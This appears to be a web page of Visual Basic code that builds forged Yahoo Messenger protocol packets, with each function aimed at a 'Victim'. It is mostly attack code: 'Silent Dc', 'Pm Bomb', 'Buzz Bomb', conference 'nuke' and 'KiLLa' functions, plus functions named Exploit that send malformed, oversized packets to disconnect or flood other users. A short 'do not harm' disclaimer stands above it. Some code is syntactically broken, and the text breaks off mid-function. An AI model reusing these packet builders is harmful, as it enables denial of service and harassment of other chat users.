-These Packets are to 80% from US and some are used from Modules we found on the Net. Whatever I know that this will be on many Sites soon. If you see this always Remember where they originally Belong to.

-Add this Packets into your Module - Text1 is the Bot and Text3 is the Victim.

Please Do Not use this Packets to Harm Some one. These are to Learn From!

Send Pm

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData SendPm(Text1, Text3, "Bye Bye")'Public Function SendPM(WhoFrom As String, WhoTo As String, message As String) As StringDim pck As Stringpck = "1" & WhoFrom & "5" & WhoTo & "14" & message & "97163642100212060"SendPM = Header("06", pck)Debug.PrintEnd Function

Buzz Pm

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData DenyBuddy(Text1, Text3)'Public Function BuzzPM(WhoFrom As String, WhoTo As String) As StringDim pck As Stringpck = "1" & WhoFrom & "5" & WhoTo & "14<ding>97163642100212060"BuzzPM = Header("06", pck)Debug.PrintEnd Function

Silent Dc

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData SilentDc(Text1, Text3)'Public Function SilentDc(WhoFrom As String, WhoTo As String) As StringDim pck As Stringpck = "1À€" & WhoFrom & "À€57À€" & WhoTo & "À€3À€" & WhoTo & "++À€3À€" & WhoTo & "À€14À€$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"SilentDc = Header("1A", pck)Debug.Print SilentDcEnd Function

Shared Files Error

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData SharedFilesError(Text3, Text1)'Function SharedFilesError(ByVal Victim$, YouSelf$) As StringPacket = "5À€" & Victim & "À€49À€FILEXFERÀ€1À€" & YouSelf & "À€13À€5À€54À€MSG1.0À€"SharedFilesError = Header("4D", Packet)Debug.Print SharedFilesErrorEnd Function

Pearl Hunter Game Pm

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData GamePearlHunter(Text1, Text3)'Public Function GamePearlHunter(YouSelf As String, Victim As String) As StringDim pck As Stringpck = "4" & YouSelf & "5" & Victim & "180ph18318111qumvsv.jm60oeusu1wirha--131"GamePearlHunter = Header("B7", pck)Debug.PrintEnd Function

Pm Bomb

'By Jehanzeb.tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData PMbomb(Text1, Text3)'Public Function PMbomb(YouSelf As String, Victim As String) As Stringpck = "1" & YouSelf & "5" & Victim & "++" & "14www.ram0na.net971"PMbomb = Header("06", pck)Debug.Print PMbombEnd Function

Buzz Bomb

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData buzzbomb(Text1, Text3)'Public Function buzzbomb(WhoFrom As String, WhoTo As String) As Stringpck = "1À€" & WhoFrom & "À€5À€" & WhoTo & "++" & "À€14À€<ding>À€97À€1À€"buzzbomb = Header("06", pck)Debug.Print buzzbombEnd Function

Voice Invite

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData VoiceInvite(Text1, Text3)'Public Function VoiceInvite(from As String, WhoTo As String) As StringDim Packet As StringPacket = "1" & from & "5" & WhoTo & "57" & "131"VoiceInvite = Header("4A", Packet)End Function

Add Yahoo Id

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData AddYahooID(Text1, Text3, "Friends")'Public Function AddYahooID(WhoFrom As String, WhoTo As String, Group As String) As StringDim pck As Stringpck = "1" & WhoFrom & "7" & WhoTo & "1465" & Group & "971216"AddYahooID = Header("83", pck)Debug.PrintEnd Function

Deny Buddy

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Winsock.SendData DenyBuddy(Text1, Text3, "Bye Bye")'Public Function DenyBuddy(WhoFrom As String, WhoTo As String, message As String) As StringDim pck As Stringpck = "1À€" & WhoFrom & "À€7À€" & WhoTo & "À€14À€" & message & "À€"DenyBuddy = Header("86", pck)Debug.PrintEnd Function

Bot Status Change

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits''Not Made by Us with this you can Change your YahooBots Status when it logges in'Public Function SetStat(ByVal User$, Status$) As StringPacket = "7À€" & User$ & "51484À€10À€99À€19À€" & Status$ & "À€47À€1À€11À€D764A6B6À€17À€0À€138À€1À€13À€1À€"SetStat = Header("03", Packet)Debug.Print SetStatEnd Function

Join Room - Go To Room

'By Jehanzeb.tk - www.jehanzeb.tk''Please leave some Credits'Public Function JoinRoom(User As String) As String'######## Note: this will make the Room ReadyDim Packet As StringPacket = "109À€" & User & "À€1À€" & User & "À€6À" & "€abcdeÀ€98À€usÀ€" _& "135À€ym6,0,0,1643À€"JoinRoom = Header("96", Packet)End FunctionPublic Function GotoRoom(User As String, Room As String) As String'######## Note this will Join the RoomDim Packet As StringPacket = "1À€" & User & "À€104À€" & Room & "À€12" & "9À€1600326535À€6" _& "2À€2À€"GotoRoom = Header("98", Packet)End Function

Leave Room

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits'Public Function LeaveRoom(YahooID As String) As StringLeaveRoom = YMSGHeader("1À€" & YahooID & "À€", Chr(&HA0))End FunctionPublic Function YMSGHeader(PacketData As String, PacketType As String) As StringYMSGHeader = "YMSG" & Chr(&H0) & Chr(&HC) & String(2, 0) & Chr(Int(Len(PacketData) / 256)) & Chr(Int(Len(PacketData) Mod 256)) & Chr(&H0) & PacketType & String(8, 0) & PacketDataDebug.Print YMSGHeaderEnd Function

Chat Text

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits'Public Function ChatText(User As String, Room As String, message As String) As StringDim Packet As StringPacket = "1À€" & User & "À€104À€" & Room & "À€117À€" _& message & "À€124À€1À€"ChatText = Header("A8", Packet)End Function

Some Complete Yahoo Modules - These are Mixed Modules with Packets from Us and Other's

This comes with some Packets but I use this because of the Y_SetStatus

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits'Public Ren As String, NM As StringDim Packet As StringOption ExplicitPublic Declare Function GetPixel Lib "gdi32" (ByVal hDC As Long, ByVal X As Long, ByVal Y As Long) As LongPublic Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As LongPublic Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As LongPublic Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As LongPublic Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As LongPublic Declare Function ReleaseCapture Lib "user32" () As LongPublic Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As LongPrivate Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As LongPrivate Declare Function UpdateLayeredWindow Lib "user32" (ByVal hwnd As Long, ByVal hdcDst As Long, pptDst As Any, psize As Any, ByVal hdcSrc As Long, pptSrc As Any, crKey As Long, ByVal pblend As Long, ByVal dwFlags As Long) As LongPrivate Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As LongPrivate Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongPublic Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWnsenddInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As LongPublic Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, ByVal fEnable As Long) As LongPublic Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPublic Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As LongPublic Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As LongPublic Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As LongPublic Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As LongPublic Declare Function SendMessageLong& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As LongPublic Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As LongPublic Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As LongPublic Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As LongPublic Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As LongPublic Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As LongPublic Declare Function GetMenuString Lib "user32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As LongPublic Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As LongDeclare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As LongPublic Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongDeclare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongPublic Declare Function MoveWindow Lib "user32" (ByVal hwnd As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As LongPublic Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As LongPublic Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As LongPublic Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As LongPublic Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As LongPublic Const SWP_NOSIZE = &H1Public Const RGN_OR = 2Public Const WM_NCLBUTTONDOWN = &HA1Public Const HTCAPTION = 2Public Type RECTLeft As LongTop As LongRight As LongBottom As LongEnd TypeDim ArrayNum As IntegerPublic FileName As StringPublic Const HWND_TOPMOST = -1Public Const SWP_NOMOVE = &H2Public hCurKey As LongPublic Const REG_SZ = 1Public Const conSwNormal = 1Global Const SND_SYNC = &H0Global Const SND_ASYNC = &H1Public Const WM_COMMAND = &H111Public Const HKEY_CURRENT_USER = &H80000001Public Const BM_SETCHECK = &HF1Public Const BM_GETCHECK = &HF0Public Const CB_GETCOUNT = &H146Public Const CB_GETLBTEXT = &H148Public Const CB_SETCURSEL = &H14EPublic Const GW_HWNDFIRST = 0Public Const GW_HWNDNEXT = 2Public Const GW_CHILD = 5Public Const LB_GETCOUNT = &H18BPublic Const LB_GETTEXT = &H189Public Const LB_SETCURSEL = &H186Public Const SW_HIDE = 0Public Const SW_MAXIMIZE = 3Public Const SW_MINIMIZE = 6Public Const SW_NORMAL = 1Public Const SW_SHOW = 5Public Const VK_SPACE = &H20Public Const WM_CHAR = &H102Public Const WM_CLOSE = &H10Public Const WM_GETTEXT = &HDPublic Const WM_GETTEXTLENGTH = &HEPublic Const WM_KEYDOWN = &H100Public Const WM_KEYUP = &H101Public Const WM_LBUTTONDBLCLK = &H203Public Const WM_LBUTTONDOWN = &H201Public Const WM_LBUTTONUP = &H202Public Const WM_MOVE = &HF012Public Const WM_RBUTTONDOWN = &H204Public Const WM_RBUTTONUP = &H205Public Const WM_SETTEXT = &HCPublic Const WM_SYSCOMMAND = &H112Public Const FLAGS = SWP_NOMOVE Or SWP_NOSIZEPrivate Const GWL_EXSTYLE = (-20)Private Const LWA_COLORKEY = &H1Private Const LWA_ALPHA = &H2Private Const ULW_COLORKEY = &H1Private Const ULW_ALPHA = &H2Private Const ULW_OPAQUE = &H4Private Const WS_EX_LAYERED = &H80000Public Sub StayOnTop(Frm As Form)Call SetWindowPos(Frm.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)End SubPublic Function SetStat(ByVal User$, Status$) As StringPacket = "7À€" & User$ & "51484À€10À€99À€19À€" & Status$ & "À€47À€1À€11À€D764A6B6À€17À€0À€138À€1À€13À€1À€"SetStat = Header("03", Packet)Debug.Print SetStatEnd FunctionSub Y_SetStatus(Ack As String)'change ur status on messy to what ever u want ^__^'Like: Y_SetStatus GetWinampSongIf Y_IsInvisible = "yes" Then Exit SubIf IsYahooOpen = "no" Then Exit SubIf Ack = "" Then Exit SubDim It As LongIt = FindWindow("yahoobuddymain", vbNullString)SaveSettingString HKEY_CURRENT_USER, "Software\Yahoo\Pager\profiles\" + Y_GetLastLogin + "\Custom Msgs", 1, Ack ' saves the message to registrySendMessage It, WM_COMMAND, 388, 1&End SubFunction Y_IsInvisible()'will tell u if ur inviisble :P'put like: if Y_IsInvisible = "no" then blaDim yahoobuddymain As Longyahoobuddymain = FindWindow("yahoobuddymain", vbNullString)Dim TheText As String, TL As LongTL = SendMessageLong(yahoobuddymain, WM_GETTEXTLENGTH, 0&, 0&)TheText = String(TL + 1, " ")Call SendMessageByString(yahoobuddymain, WM_GETTEXT, TL + 1, TheText)TheText = Left(TheText, TL)If Right(TheText, 11) = "(Invisible)" ThenTheText = "yes"ElseTheText = "no"End IfEnd FunctionFunction Y_GetLastLogin()'you could use this for like a BOT or sogin'put like: Text1.selText = "Hello, " + Y_GetLastLogin + "!"Y_GetLastLogin = GetSettingString(HKEY_CURRENT_USER, "Software\Yahoo\Pager", "Yahoo! User ID", "Yahoo! ID") ' gets the logined in nameEnd FunctionFunction IsYahooOpen()'this sees if YIM is open'only YIMDim yahoobuddymain As Longyahoobuddymain = FindWindow("yahoobuddymain", vbNullString)Dim TheText As String, TL As LongTL = SendMessageLong(yahoobuddymain, WM_GETTEXTLENGTH, 0&, 0&)TheText = String(TL + 1, " ")Call SendMessageByString(yahoobuddymain, WM_GETTEXT, TL + 1, TheText)TheText = Left(TheText, TL)If TheText = "" Then 'sees if YIM window is not thereIsYahooOpen = "no"Else ' sees if YIM window is thereIsYahooOpen = "yes"End IfEnd FunctionFunction Y_Caption()'this gets the caption form a PM,chat or confrence'only 4 YIM...'if caption="vb_vc - instanmt message" then yahoosend "hi"'Dim imclass As Long'imclass = FindWindow("imclass", vbNullString)'Dim TheText As String, TL As Long'TL = SendMessageLong(imclass, WM_GETTEXTLENGTH, 0&, 0&)'TheText = String(TL + 1, " ")'Call SendMessageByString(imclass, WM_GETTEXT, TL + 1, TheText)'Caption = Left(TheText, TL)Dim IMClass As Long, Button As LongIMClass = FindWindow("imclass", vbNullString)Dim TheText As String, TL As LongTL = SendMessageLong(IMClass, WM_GETTEXTLENGTH, 0&, 0&)TheText = String(TL + 1, " ")Call SendMessageByString(IMClass, WM_GETTEXT, TL + 1, TheText)TheText = Left(TheText, TL)If Right(TheText, 1) = " " Then TheText = Left(TheText, Len(TheText) - 1)Y_Caption = TheTextEnd FunctionPublic Sub SaveSettingString(hKey As Long, strPath As String, strValue As String, strData As String) RegCreateKey hKey, strPath, hCurKey RegSetValueEx hCurKey, strValue, 0, REG_SZ, ByVal strData, Len(strData) RegCloseKey hCurKeyEnd SubPublic Function GetSettingString(hKey As Long, strPath As String, strValue As String, Optional Default As String) As String Dim lngValueType As Long Dim strBuffer As String Dim lngDataBufferSize As Long Dim intZeroPos As Integer If Not IsEmpty(Default) Then GetSettingString = Default Else GetSettingString = "" End If RegOpenKey hKey, strPath, hCurKey RegQueryValueEx hCurKey, strValue, 0&, lngValueType, ByVal 0&, lngDataBufferSize If lngValueType = REG_SZ Then strBuffer = String(lngDataBufferSize, " ") RegQueryValueEx hCurKey, strValue, 0&, 0&, ByVal strBuffer, lngDataBufferSize intZeroPos = InStr(strBuffer, Chr$(0)) If intZeroPos > 0 Then GetSettingString = Left$(strBuffer, intZeroPos - 1) Else GetSettingString = strBuffer End If End If RegCloseKey hCurKeyEnd Function

Some Proto Packets

'By Jehanzeb.Tk - www.jehanzeb.tk''Please leave some Credits'Public Function ConfBomb(UserName As String, whoto As String, Key As String) As String Ren = "1" & AE & UserName & AE & "50" & AE & UserName & AE & "57" & AE & UserName & "2364" & AE & "58" & AE & AE & "52" & AE & whoto & AE & "13" & AE & "600" & AE ConfBomb = Header(Len(Ren), 256, Chr(10)) & Chr(&H18) & String(4, 0) & Key & RenEnd FunctionPublic Function DeleteFriend(UserName As String, whoto As String, Key As String) As String Ren = "1À€" & UserName & "À€7À€" & whoto & "À€65À€friendsÀ€" DeleteFriend = Header(Len(Ren), 256, Chr(10)) & "„" & String(4, 0) & Key & RenEnd FunctionPublic Function PM(UserName As String, whoto As String, message As String, Key As String) As String Ren = "1À€" & UserName & "À€5À€" & whoto & "À€14À€" & message & "À€97À€1À€63À€;0À€64À€0À€" PM = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionPublic Function IMVPeanuts(UserName As String, whoto As String, Key As String) As String Ren = "49À€IMVIRONMENTÀ€1À€" & UserName & "À€14À€ À€13À€0À€5À€" & whoto & "À€63À€peanutsÀ€64À€0À€1À€1002À€" IMVPeanuts = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionPublic Function IMVChess(UserName As String, whoto As String, Key As String) As String Ren = "49À€IMVIRONMENTÀ€1À€" & UserName & "À€14À€ À€13À€0À€5À€" & whoto & "À€63À€chessÀ€64À€0À€1À€1002À€" IMVChess = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionPublic Function IMVLastShot(UserName As String, whoto As String, Key As String) As String Ren = "49À€IMVIRONMENTÀ€1À€" & UserName & "À€14À€ À€13À€0À€5À€" & whoto & "À€63À€lastshotÀ€64À€0À€1À€1002À€" IMVLastShot = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionPublic Function IMVHelloKitty(UserName As String, whoto As String, Key As String) As String Ren = "49À€IMVIRONMENTÀ€1À€" & UserName & "À€14À€ À€13À€0À€5À€" & whoto & "À€63À€hellokittyÀ€64À€0À€1À€1002À€" IMVHelloKitty = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionPublic Function IMVEetern(UserName As String, whoto As String, Key As String) As String Ren = "49À€IMVIRONMENTÀ€1À€" & UserName & "À€14À€ À€13À€0À€5À€" & whoto & "À€63À€eeternÀ€64À€0À€1À€1002À€" IMVEetern = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionPublic Function IMVDilbert(UserName As String, whoto As String, Key As String) As String Ren = "49À€IMVIRONMENTÀ€1À€" & UserName & "À€14À€ À€13À€0À€5À€" & whoto & "À€63À€dilbertÀ€64À€0À€1À€1002À€" IMVDilbert = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionPublic Function IMVPurinaDogs(UserName As String, whoto As String, Key As String) As String Ren = "49À€IMVIRONMENTÀ€1À€" & UserName & "À€14À€ À€13À€0À€5À€" & whoto & "À€63À€purinadogsÀ€64À€0À€1À€1002À€" IMVPurinaDogs = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionPublic Function IMVPurinaCats(UserName As String, whoto As String, Key As String) As String Ren = "49À€IMVIRONMENTÀ€1À€" & UserName & "À€14À€ À€13À€0À€5À€" & whoto & "À€63À€purinacatsÀ€64À€0À€1À€1002À€" IMVPurinaCats = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionFunction ConferenceInvite(UserName As String, whoto As String, link As String, RoomName As String, Key As String) As String Ren = "1À€" & UserName & "À€50À€" & UserName & "À€57À€" & RoomName & "À€58À€" & link & "À€52À€" & whoto & "À€13À€0À€" ConferenceInvite = Header(Len(Ren), 256, Chr(10)) & Chr(&H18) & String(3, 0) & Chr(&H16) & Key & RenEnd FunctionPublic Function ChatInvis(UserName As String, RoomName As String, Key As String) As String Ren = "1À€" & UserName & "À€104À€" & RoomName & "À€109À€" & UserName & "À€620À€" ChatInvis = Header(Len(Ren), 256, Chr(10)) & Chr(&H9B) & String(4, 0) & Key & RenEnd FunctionPublic Function ChatInvite(UserName As String, whoto As String, room As String, message As String, RoomId As String, Key As String) As String Ren = "À€" & UserName & "À€118À€" & whoto & "À€104À€" & room & "À€117À€" & message & "À€000À€" & RoomId & "À€" ChatInvite = Header(Len(Ren), 256, Chr(10)) & Chr(&H9D) & String(4, 32) & Key & RenEnd FunctionPublic Function ChatLogin(UserName As String, Key As String) As String Ren = "109À€" & UserName & "À€1À€" & UserName & "À€6À€abcdeÀ€" ChatLogin = "YMSG" & Chr(9) & String(4, 0) & Chr(Len(Ren)) & Chr(0) & Chr(&H96) & String(4, 0) & Key & RenEnd FunctionPublic Function RoomLogin(UserName As String, RoomName As String, Key As String) As String Ren = "1À€" & UserName & "À€104À€" & RoomName & "À€" RoomLogin = Header(Len(Ren), 256, Chr(9)) & Chr(&H98) & String(4, 0) & Key & RenEnd FunctionPublic Function ChatDecline(UserName As String, RoomName As String, victim As String, message As String) As String Ren = "1À€" & UserName & "À€57À€" & RoomName & "À€3À€" & victim & "À€14À€" & message & "À€" ChatDecline = Header(Len(Ren), 256, Chr(9)) & Chr(&H1A) & String(4, 0) & Chr(&HDA) & Chr(&H1A) & Chr(&H8) & Chr(&HA) & RenEnd FunctionPublic Function YahooError(UserName As String, whoto As String, message As String, Key As String) As String Ren = "1À€" & UserName & "À€5À€" & whoto & "À€14À€" & message & "À€97À€1À€63À€;0À€64À€0À€" YahooError = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Key & "ÿÿÿÿ" & Key & RenEnd FunctionPublic Function CamInvite(UserName As String, whoto As String, Key As String) As String Ren = "49À€WEBCAMINVITEÀ€14À€" & Chr(20) & "À€13À€0À€1À€" & UserName & "À€5À€" & whoto & "À€1002À€1À€" CamInvite = Header(Len(Ren), 256, Chr(9)) & "K" & String(3, 0) & Chr(&H16) & Key & RenEnd FunctionPublic Function CamDecline(UserName As String, whoto As String, Key As String) As String Ren = "49À€WEBCAMINVITEÀ€14À€-1À€13À€0À€1À€" & UserName & "À€5À€" & whoto & "À€1002À€2À€" CamDecline = Header(Len(Ren), 256, Chr(9)) & "K" & String(3, 0) & Chr(&H16) & Key & RenEnd FunctionPublic Function SharedFiles(UserName As String, whoto As String, Key As String) As String Ren = "5À€" & whoto & "À€49À€FILEXFERÀ€1À€" & UserName & "À€13À€5À€54À€MSG1.0À€" SharedFiles = Header(Len(Ren), 256, Chr(9)) & "M" & String(3, 0) & Chr(&H61) & Key & RenEnd FunctionPublic Function ConfNukeLeave(UserName, RoomName As String, whoto As String, Mykey As String) As String Ren = "1" & AE & UserName & "§" & AE & "57" & AE & RoomName & AE & "3" & AE & whoto & AE ConfNukeLeave = Header(Len(Ren), 256, Chr(10)) & Chr(&H1B) & String(4, 0) & Chr(&HC3) & Chr(&H31) & Chr(&H9A) & Chr(&HDC) & Key & Ren End FunctionPublic Function ConfNukeJoin(UserName, RoomName As String, whoto As String, Mykey As String) As String Ren = "1" & AE & UserName & "§" & AE & "57" & AE & RoomName & AE & "3" & AE & whoto & AE ConfNukeJoin = Header(Len(Ren), 256, Chr(10)) & Chr(&H19) & String(4, 0) & Chr(&HAC) & Chr(&H9) & Chr(&HDE) & Chr(&H3B) & Key & Ren End FunctionPublic Function KiLLa(UserName As String, whoto As String, message As String, SessionKey As String) As StringDim i As Integer, X As Integer pck = "1À€" & UserName & "À€57À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€53À€" & whoto & "À€14À€" & message & "À€97À€1À€"i = 0X = Len(pck)ReCheck:If X > 255 Then X = X - 256 i = i + 1 GoTo ReCheckEnd IfKiLLa = "YMSG" & Chr(&H0) & Chr(&HB) & String(2, 0) & Chr(i) & Chr(X) & Chr(&H0) & Chr(&H1D) & String(4, 0) & SessionKey & pckEnd FunctionPrivate Function Header(X As Integer, z As Integer, Tmp As String) As String Dim Y As Integer Y = 0 Do While X > 255 X = X - z Y = Y + 1 Loop Header = "YMSG" & Tmp & String(3, 0) & Chr(Y) & Chr(X) & Chr(0)End FunctionPrivate Function AE() As String AE = Chr(&HC0) & Chr(&H80)End FunctionPublic Function CalcSize(X As Long) As String Dim Y As Integer Do While X > 255 X = X - 256 Y = Y + 1 Loop CalcSize = Chr(Y) & Chr(X)End FunctionPublic Function Bot(UserName As String, whoto As String, message As String, Key As String) As String Ren = "1À€" & UserName & "À€5À€" & whoto & "À€14À€" & whoto & "À€14À€" & whoto & À€14À€ & whoto & À€14À€ & whoto & À€3À€ & whoto & À€3À€ & whoto & whoto & À€3À€ & whoto & À€3À€ & À€3À€ & whoto & À€3À€ & whoto & À€3À€ & whoto & À€3À€ & whoto & À€3À€ & whoto & À€3À€ & message & "À€97À€1À€63À€;0À€64À€0À€" Bot = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionPublic Function Bot2(UserName As String, whoto As String, message As String, Key As String) As String Ren = "1À€" & UserName & "À€5À€" & whoto & "À€14À€" & UserName & "À€5À€" & message & "À€97À€1À€63À€;0À€64À€0À€" Bot2 = Header(Len(Ren), 256, Chr(10)) & Chr(6) & Chr(&H5A) & Chr(&H55) & Chr(&HAA) & Chr(&H55) & Key & RenEnd FunctionFunction Exploit(UserName, room, whoto, message, Mykey) As StringRen = "1À€" & UserName & "À€57À€" & room & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€14À€" & message & "À€"Exploit = Header(Len(Ren), 256, Chr(10)) & Chr(&H18) & String(4, 0) & Key & RenEnd FunctionFunction Exploit2(UserName, room, whoto, message, Mykey) As StringRen = "1À€" & UserName & "À€57À€" & room & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & "À€3À€" & whoto & 